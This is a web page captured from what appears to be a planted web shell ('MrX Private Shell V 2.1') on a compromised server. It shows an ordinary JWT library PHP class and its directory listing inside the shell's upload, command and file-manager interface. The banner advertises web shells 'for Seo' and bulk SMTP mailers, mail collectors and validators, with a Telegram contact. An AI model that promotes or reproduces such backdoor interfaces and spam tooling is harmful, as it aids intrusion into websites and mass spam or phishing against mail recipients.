__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

declare(strict_types=1);

namespace Jose\Component\Checker;

use InvalidArgumentException;

/**
 * @see \Jose\Tests\Component\Checker\HeaderCheckerManagerFactoryTest
 */
class HeaderCheckerManagerFactory
{
    /**
     * @var HeaderChecker[]
     */
    private array $checkers = [];

    /**
     * @var TokenTypeSupport[]
     */
    private array $tokenTypes = [];

    /**
     * This method creates a Header Checker Manager and populate it with the header parameter checkers found based on
     * the alias. If the alias is not supported, an InvalidArgumentException is thrown.
     *
     * @param string[] $aliases
     */
    public function create(array $aliases): HeaderCheckerManager
    {
        $checkers = [];
        foreach ($aliases as $alias) {
            if (! isset($this->checkers[$alias])) {
                throw new InvalidArgumentException(sprintf(
                    'The header checker with the alias "%s" is not supported.',
                    $alias
                ));
            }
            $checkers[] = $this->checkers[$alias];
        }

        return new HeaderCheckerManager($checkers, $this->tokenTypes);
    }

    /**
     * This method adds a header parameter checker to this factory. The checker is uniquely identified by an alias. This
     * allows the same header parameter checker to be added twice (or more) using several configuration options.
     */
    public function add(string $alias, HeaderChecker $checker): void
    {
        $this->checkers[$alias] = $checker;
    }

    /**
     * This method adds a token type support to this factory.
     */
    public function addTokenTypeSupport(TokenTypeSupport $tokenType): void
    {
        $this->tokenTypes[] = $tokenType;
    }

    /**
     * Returns all header parameter checker aliases supported by this factory.
     *
     * @return string[]
     */
    public function aliases(): array
    {
        return array_keys($this->checkers);
    }

    /**
     * Returns all header parameter checkers supported by this factory.
     *
     * @return HeaderChecker[]
     */
    public function all(): array
    {
        return $this->checkers;
    }
}

Filemanager

Name Type Size Permission Actions
AlgorithmChecker.php File 1.14 KB 0664
AudienceChecker.php File 1.6 KB 0664
CallableChecker.php File 1.58 KB 0664
ClaimChecker.php File 438 B 0664
ClaimCheckerManager.php File 2.26 KB 0664
ClaimCheckerManagerFactory.php File 1.6 KB 0664
ClaimExceptionInterface.php File 188 B 0664
ExpirationTimeChecker.php File 2.09 KB 0664
HeaderChecker.php File 619 B 0664
HeaderCheckerManager.php File 5.72 KB 0664
HeaderCheckerManagerFactory.php File 2.12 KB 0664
InternalClock.php File 296 B 0664
InvalidClaimException.php File 742 B 0664
InvalidHeaderException.php File 755 B 0664
IsEqualChecker.php File 1.44 KB 0664
IssuedAtChecker.php File 2.12 KB 0664
IssuerChecker.php File 1.39 KB 0664
MissingMandatoryClaimException.php File 555 B 0664
MissingMandatoryHeaderParameterException.php File 556 B 0664
NotBeforeChecker.php File 2.11 KB 0664
TokenTypeSupport.php File 976 B 0664
UnencodedPayloadChecker.php File 789 B 0664
Filemanager